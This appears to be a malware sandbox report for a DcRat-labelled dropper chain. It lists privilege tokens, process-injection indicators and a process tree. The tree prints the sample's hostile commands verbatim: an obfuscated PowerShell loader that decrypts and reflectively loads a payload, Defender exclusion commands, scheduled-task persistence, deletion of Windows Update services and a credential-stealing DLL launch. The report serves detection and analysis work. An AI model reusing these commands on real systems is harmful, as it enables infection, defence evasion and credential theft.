Token: SeShutdownPrivilege	4420	powercfg.exe
Token: SeCreatePagefilePrivilege	4420	powercfg.exe
Token: SeDebugPrivilege	692	powershell.exe
Token: SeIncreaseQuotaPrivilege	4856	powershell.exe
Token: SeSecurityPrivilege	4856	powershell.exe
Token: SeTakeOwnershipPrivilege	4856	powershell.exe
Token: SeLoadDriverPrivilege	4856	powershell.exe
Token: SeSystemProfilePrivilege	4856	powershell.exe
Token: SeSystemtimePrivilege	4856	powershell.exe
Token: SeProfSingleProcessPrivilege	4856	powershell.exe
Token: SeIncBasePriorityPrivilege	4856	powershell.exe
Token: SeCreatePagefilePrivilege	4856	powershell.exe
Token: SeBackupPrivilege	4856	powershell.exe
Token: SeRestorePrivilege	4856	powershell.exe
Token: SeShutdownPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeSystemEnvironmentPrivilege	4856	powershell.exe
Token: SeRemoteShutdownPrivilege	4856	powershell.exe
Token: SeUndockPrivilege	4856	powershell.exe
Token: SeManageVolumePrivilege	4856	powershell.exe
Token: 33	4856	powershell.exe
Token: 34	4856	powershell.exe
Token: 35	4856	powershell.exe
Token: 36	4856	powershell.exe
Token: SeShutdownPrivilege	1200	powercfg.exe
Token: SeCreatePagefilePrivilege	1200	powercfg.exe
Token: SeShutdownPrivilege	2128	powercfg.exe
Token: SeCreatePagefilePrivilege	2128	powercfg.exe
Token: SeShutdownPrivilege	1536	powercfg.exe
Token: SeCreatePagefilePrivilege	1536	powercfg.exe
Token: SeIncreaseQuotaPrivilege	692	powershell.exe
Token: SeSecurityPrivilege	692	powershell.exe
Token: SeTakeOwnershipPrivilege	692	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Explorer.EXED97C.exeD97C.exeD97C.exeD97C.exebuild3.exeD05.exePlayer3.exenbveek.exe

description	pid	process	target process
PID 2172 wrote to memory of 2136	2172	Explorer.EXE	D97C.exe
PID 2172 wrote to memory of 2136	2172	Explorer.EXE	D97C.exe
PID 2172 wrote to memory of 2136	2172	Explorer.EXE	D97C.exe
PID 2136 wrote to memory of 4232	2136	D97C.exe	D97C.exe
PID 2136 wrote to memory of 4232	2136	D97C.exe	D97C.exe
PID 2136 wrote to memory of 4232	2136	D97C.exe	D97C.exe
PID 2172 wrote to memory of 2348	2172	Explorer.EXE	DDD3.exe
PID 2172 wrote to memory of 2348	2172	Explorer.EXE	DDD3.exe
PID 2172 wrote to memory of 2348	2172	Explorer.EXE	DDD3.exe
PID 2136 wrote to memory of 4232	2136	D97C.exe	D97C.exe
PID 2136 wrote to memory of 4232	2136	D97C.exe	D97C.exe
PID 2136 wrote to memory of 4232	2136	D97C.exe	D97C.exe
PID 2136 wrote to memory of 4232	2136	D97C.exe	D97C.exe
PID 2136 wrote to memory of 4232	2136	D97C.exe	D97C.exe
PID 2136 wrote to memory of 4232	2136	D97C.exe	D97C.exe
PID 2136 wrote to memory of 4232	2136	D97C.exe	D97C.exe
PID 2172 wrote to memory of 832	2172	Explorer.EXE	DF6A.exe
PID 2172 wrote to memory of 832	2172	Explorer.EXE	DF6A.exe
PID 2172 wrote to memory of 832	2172	Explorer.EXE	DF6A.exe
PID 4232 wrote to memory of 1928	4232	D97C.exe	icacls.exe
PID 4232 wrote to memory of 1928	4232	D97C.exe	icacls.exe
PID 4232 wrote to memory of 1928	4232	D97C.exe	icacls.exe
PID 4232 wrote to memory of 5088	4232	D97C.exe	D97C.exe
PID 4232 wrote to memory of 5088	4232	D97C.exe	D97C.exe
PID 4232 wrote to memory of 5088	4232	D97C.exe	D97C.exe
PID 5088 wrote to memory of 3748	5088	D97C.exe	D97C.exe
PID 5088 wrote to memory of 3748	5088	D97C.exe	D97C.exe
PID 5088 wrote to memory of 3748	5088	D97C.exe	D97C.exe
PID 5088 wrote to memory of 3748	5088	D97C.exe	D97C.exe
PID 5088 wrote to memory of 3748	5088	D97C.exe	D97C.exe
PID 5088 wrote to memory of 3748	5088	D97C.exe	D97C.exe
PID 5088 wrote to memory of 3748	5088	D97C.exe	D97C.exe
PID 5088 wrote to memory of 3748	5088	D97C.exe	D97C.exe
PID 5088 wrote to memory of 3748	5088	D97C.exe	D97C.exe
PID 5088 wrote to memory of 3748	5088	D97C.exe	D97C.exe
PID 2172 wrote to memory of 3136	2172	Explorer.EXE	F67D.exe
PID 2172 wrote to memory of 3136	2172	Explorer.EXE	F67D.exe
PID 2172 wrote to memory of 3136	2172	Explorer.EXE	F67D.exe
PID 2172 wrote to memory of 3572	2172	Explorer.EXE	F863.exe
PID 2172 wrote to memory of 3572	2172	Explorer.EXE	F863.exe
PID 2172 wrote to memory of 3572	2172	Explorer.EXE	F863.exe
PID 3748 wrote to memory of 2796	3748	D97C.exe	build3.exe
PID 3748 wrote to memory of 2796	3748	D97C.exe	build3.exe
PID 3748 wrote to memory of 2796	3748	D97C.exe	build3.exe
PID 2796 wrote to memory of 384	2796	build3.exe	schtasks.exe
PID 2796 wrote to memory of 384	2796	build3.exe	schtasks.exe
PID 2796 wrote to memory of 384	2796	build3.exe	schtasks.exe
PID 2172 wrote to memory of 100	2172	Explorer.EXE	D05.exe
PID 2172 wrote to memory of 100	2172	Explorer.EXE	D05.exe
PID 2172 wrote to memory of 100	2172	Explorer.EXE	D05.exe
PID 100 wrote to memory of 396	100	D05.exe	Player3.exe
PID 100 wrote to memory of 396	100	D05.exe	Player3.exe
PID 100 wrote to memory of 396	100	D05.exe	Player3.exe
PID 100 wrote to memory of 3872	100	D05.exe	ss31.exe
PID 100 wrote to memory of 3872	100	D05.exe	ss31.exe
PID 396 wrote to memory of 4936	396	Player3.exe	nbveek.exe
PID 396 wrote to memory of 4936	396	Player3.exe	nbveek.exe
PID 396 wrote to memory of 4936	396	Player3.exe	nbveek.exe
PID 100 wrote to memory of 4008	100	D05.exe	XandETC.exe
PID 100 wrote to memory of 4008	100	D05.exe	XandETC.exe
PID 4936 wrote to memory of 3328	4936	nbveek.exe	schtasks.exe
PID 4936 wrote to memory of 3328	4936	nbveek.exe	schtasks.exe
PID 4936 wrote to memory of 3328	4936	nbveek.exe	schtasks.exe
PID 2172 wrote to memory of 1412	2172	Explorer.EXE	1737.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

Processes:

dllhost.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe

outlook_win_path 1 IoCs

Processes:

dllhost.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2172

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
2⤵
- DcRat
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1916

C:\Users\Admin\AppData\Local\Temp\D97C.exe
C:\Users\Admin\AppData\Local\Temp\D97C.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2136

C:\Users\Admin\AppData\Local\Temp\D97C.exe
C:\Users\Admin\AppData\Local\Temp\D97C.exe
3⤵
- DcRat
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4232

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\2f93599c-985f-4394-9efd-355ec48635b4" /deny *S-1-1-0:(OI)(CI)(DE,DC)
4⤵
- Modifies file permissions
PID:1928

C:\Users\Admin\AppData\Local\Temp\D97C.exe
"C:\Users\Admin\AppData\Local\Temp\D97C.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5088

C:\Users\Admin\AppData\Local\Temp\D97C.exe
"C:\Users\Admin\AppData\Local\Temp\D97C.exe" --Admin IsNotAutoStart IsNotTask
5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3748

C:\Users\Admin\AppData\Local\f84f54cb-a1d1-4455-8ef3-853e11585eba\build3.exe
"C:\Users\Admin\AppData\Local\f84f54cb-a1d1-4455-8ef3-853e11585eba\build3.exe"
6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2796

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
7⤵
- DcRat
- Creates scheduled task(s)
PID:384

C:\Users\Admin\AppData\Local\Temp\DDD3.exe
C:\Users\Admin\AppData\Local\Temp\DDD3.exe
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:2348

C:\Users\Admin\AppData\Local\Temp\DF6A.exe
C:\Users\Admin\AppData\Local\Temp\DF6A.exe
2⤵
- Executes dropped EXE
PID:832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 832 -s 340
3⤵
- Program crash
PID:3368

C:\Users\Admin\AppData\Local\Temp\F67D.exe
C:\Users\Admin\AppData\Local\Temp\F67D.exe
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3136

C:\Users\Admin\AppData\Local\Temp\F863.exe
C:\Users\Admin\AppData\Local\Temp\F863.exe
2⤵
- Executes dropped EXE
PID:3572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3572 -s 340
3⤵
- Program crash
PID:5048

C:\Users\Admin\AppData\Local\Temp\D05.exe
C:\Users\Admin\AppData\Local\Temp\D05.exe
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:100

C:\Users\Admin\AppData\Local\Temp\Player3.exe
"C:\Users\Admin\AppData\Local\Temp\Player3.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:396

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
"C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4936

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
5⤵
- DcRat
- Creates scheduled task(s)
PID:3328

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
5⤵
PID:2756

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
6⤵
PID:2516

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:N"
6⤵
PID:3988

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:R" /E
6⤵
PID:3964

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
6⤵
PID:3952

C:\Windows\SysWOW64\cacls.exe
CACLS "..\16de06bfb4" /P "Admin:N"
6⤵
PID:4860

C:\Windows\SysWOW64\cacls.exe
CACLS "..\16de06bfb4" /P "Admin:R" /E
6⤵
PID:5004

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
5⤵
- Loads dropped DLL
PID:4728

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
6⤵
- Loads dropped DLL
PID:4160

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4160 -s 648
7⤵
- Program crash
PID:5080

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll, Main
5⤵
- Loads dropped DLL
PID:4948

C:\Users\Admin\AppData\Local\Temp\ss31.exe
"C:\Users\Admin\AppData\Local\Temp\ss31.exe"
3⤵
- Executes dropped EXE
PID:3872

C:\Users\Admin\AppData\Local\Temp\XandETC.exe
"C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in Program Files directory
PID:4008

C:\Users\Admin\AppData\Local\Temp\1737.exe
C:\Users\Admin\AppData\Local\Temp\1737.exe
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:1412

C:\Users\Admin\AppData\Local\Temp\Player3.exe
"C:\Users\Admin\AppData\Local\Temp\Player3.exe"
3⤵
- Executes dropped EXE
PID:2112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1412 -s 1488
3⤵
- Program crash
PID:1928

C:\Users\Admin\AppData\Local\Temp\57EB.exe
C:\Users\Admin\AppData\Local\Temp\57EB.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3860

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7FD7.bat" "
2⤵
PID:432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -c #
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3620

C:\Users\Admin\AppData\Local\Temp\7FD7.bat.exe
"C:\Users\Admin\AppData\Local\Temp\7FD7.bat.exe" function PX($c){$c.Replace('EOIUi', '')}$UcNH=PX 'GeEOIUitCurEOIUirenEOIUitPrEOIUioceEOIUissEOIUi';$LMam=PX 'REOIUieaEOIUidLEOIUiinEOIUieEOIUisEOIUi';$nIei=PX 'CEOIUihEOIUiangEOIUieEOIUiExteEOIUinEOIUisiEOIUionEOIUi';$GDjp=PX 'InEOIUivokEOIUieEOIUi';$cJOL=PX 'FEOIUiirsEOIUitEOIUi';$bNvC=PX 'EntrEOIUiyPoEOIUiiEOIUintEOIUi';$ZDDe=PX 'FroEOIUimBEOIUiaseEOIUi64SEOIUitrEOIUiingEOIUi';$wEka=PX 'LoaEOIUidEOIUi';$xsru=PX 'CreEOIUiatEOIUieDEOIUiecrEOIUiyEOIUipEOIUitoEOIUirEOIUi';$JaHM=PX 'TrEOIUianEOIUisforEOIUimFEOIUiinEOIUialEOIUiBlEOIUiockEOIUi';function AyMSx($aADFu){$mkeZq=[System.Security.Cryptography.Aes]::Create();$mkeZq.Mode=[System.Security.Cryptography.CipherMode]::CBC;$mkeZq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$mkeZq.Key=[System.Convert]::$ZDDe('33o4mPrkfBEGS8RPjJSCxTGdyodbZrRhtRuNUH5rzRk=');$mkeZq.IV=[System.Convert]::$ZDDe('Pw0jyFBtnQYUrNsqUX5AOg==');$kgbNu=$mkeZq.$xsru();$gGieg=$kgbNu.$JaHM($aADFu,0,$aADFu.Length);$kgbNu.Dispose();$mkeZq.Dispose();$gGieg;}function QpgTW($aADFu){$lUmJr=New-Object System.IO.MemoryStream(,$aADFu);$vxHfp=New-Object System.IO.MemoryStream;$CEpcv=New-Object System.IO.Compression.GZipStream($lUmJr,[IO.Compression.CompressionMode]::Decompress);$CEpcv.CopyTo($vxHfp);$CEpcv.Dispose();$lUmJr.Dispose();$vxHfp.Dispose();$vxHfp.ToArray();}function jfGQF($aADFu,$OnnHT){[System.Reflection.Assembly]::$wEka([byte[]]$aADFu).$bNvC.$GDjp($null,$OnnHT);}$oEcWz=[System.Linq.Enumerable]::$cJOL([System.IO.File]::$LMam([System.IO.Path]::$nIei([System.Diagnostics.Process]::$UcNH().MainModule.FileName, $null)));$fmJXF = $oEcWz.Substring(3).Split('\');$xAiAZ=QpgTW (AyMSx ([Convert]::$ZDDe($fmJXF[0])));$AjQdR=QpgTW (AyMSx ([Convert]::$ZDDe($fmJXF[1])));jfGQF $AjQdR $null;jfGQF $xAiAZ $null;
3⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4876

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(4876);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4256

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2668

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\7FD7')
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4856

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_JGAbA' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\JGAbA.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
4⤵
PID:3732

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\JGAbA.vbs"
4⤵
- Checks computer location settings
PID:3644

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\JGAbA.bat" "
5⤵
PID:3472

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -c #
6⤵
PID:1536

C:\Users\Admin\AppData\Roaming\JGAbA.bat.exe
"C:\Users\Admin\AppData\Roaming\JGAbA.bat.exe" function PX($c){$c.Replace('EOIUi', '')}$UcNH=PX 'GeEOIUitCurEOIUirenEOIUitPrEOIUioceEOIUissEOIUi';$LMam=PX 'REOIUieaEOIUidLEOIUiinEOIUieEOIUisEOIUi';$nIei=PX 'CEOIUihEOIUiangEOIUieEOIUiExteEOIUinEOIUisiEOIUionEOIUi';$GDjp=PX 'InEOIUivokEOIUieEOIUi';$cJOL=PX 'FEOIUiirsEOIUitEOIUi';$bNvC=PX 'EntrEOIUiyPoEOIUiiEOIUintEOIUi';$ZDDe=PX 'FroEOIUimBEOIUiaseEOIUi64SEOIUitrEOIUiingEOIUi';$wEka=PX 'LoaEOIUidEOIUi';$xsru=PX 'CreEOIUiatEOIUieDEOIUiecrEOIUiyEOIUipEOIUitoEOIUirEOIUi';$JaHM=PX 'TrEOIUianEOIUisforEOIUimFEOIUiinEOIUialEOIUiBlEOIUiockEOIUi';function AyMSx($aADFu){$mkeZq=[System.Security.Cryptography.Aes]::Create();$mkeZq.Mode=[System.Security.Cryptography.CipherMode]::CBC;$mkeZq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$mkeZq.Key=[System.Convert]::$ZDDe('33o4mPrkfBEGS8RPjJSCxTGdyodbZrRhtRuNUH5rzRk=');$mkeZq.IV=[System.Convert]::$ZDDe('Pw0jyFBtnQYUrNsqUX5AOg==');$kgbNu=$mkeZq.$xsru();$gGieg=$kgbNu.$JaHM($aADFu,0,$aADFu.Length);$kgbNu.Dispose();$mkeZq.Dispose();$gGieg;}function QpgTW($aADFu){$lUmJr=New-Object System.IO.MemoryStream(,$aADFu);$vxHfp=New-Object System.IO.MemoryStream;$CEpcv=New-Object System.IO.Compression.GZipStream($lUmJr,[IO.Compression.CompressionMode]::Decompress);$CEpcv.CopyTo($vxHfp);$CEpcv.Dispose();$lUmJr.Dispose();$vxHfp.Dispose();$vxHfp.ToArray();}function jfGQF($aADFu,$OnnHT){[System.Reflection.Assembly]::$wEka([byte[]]$aADFu).$bNvC.$GDjp($null,$OnnHT);}$oEcWz=[System.Linq.Enumerable]::$cJOL([System.IO.File]::$LMam([System.IO.Path]::$nIei([System.Diagnostics.Process]::$UcNH().MainModule.FileName, $null)));$fmJXF = $oEcWz.Substring(3).Split('\');$xAiAZ=QpgTW (AyMSx ([Convert]::$ZDDe($fmJXF[0])));$AjQdR=QpgTW (AyMSx ([Convert]::$ZDDe($fmJXF[1])));jfGQF $AjQdR $null;jfGQF $xAiAZ $null;
6⤵
- Checks computer location settings
- Executes dropped EXE
PID:4184

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(4184);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
7⤵
PID:2924

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
7⤵
PID:4240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\JGAbA')
7⤵
PID:3848

C:\Users\Admin\AppData\Local\Temp\638196.exe
"C:\Users\Admin\AppData\Local\Temp\638196.exe"
7⤵
- Executes dropped EXE
PID:1800

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(1800);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
7⤵
PID:1116

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:1460

C:\Windows\explorer.exe
C:\Windows\explorer.exe
2⤵
PID:3232

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:216

C:\Windows\explorer.exe
C:\Windows\explorer.exe
2⤵
PID:1916

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:4772

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:1668

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:4960

C:\Windows\explorer.exe
C:\Windows\explorer.exe
2⤵
PID:3436

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:1928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1276

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:3860

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:1444

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:2268

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:4680

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:3904

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:4944

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:1488

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:8

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
- Modifies security service
PID:4208

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:3108

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:4416

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:1368

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4420

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1200

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2128

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1536

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:692

C:\Users\Admin\AppData\Local\Temp\BC83.exe
C:\Users\Admin\AppData\Local\Temp\BC83.exe
2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3952

C:\Windows\system32\dllhost.exe
"C:\Windows\system32\dllhost.exe"
3⤵
- Accesses Microsoft Outlook profiles
- Checks processor information in registry
- outlook_office_path
- outlook_win_path
PID:4612

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3952 -s 728
3⤵
- Program crash
PID:1204

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
2⤵
PID:508

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
3⤵
PID:4404

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:3736

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:4800

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:4964

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1120

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:452

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:1212

C:\Windows\System32\reg.exe
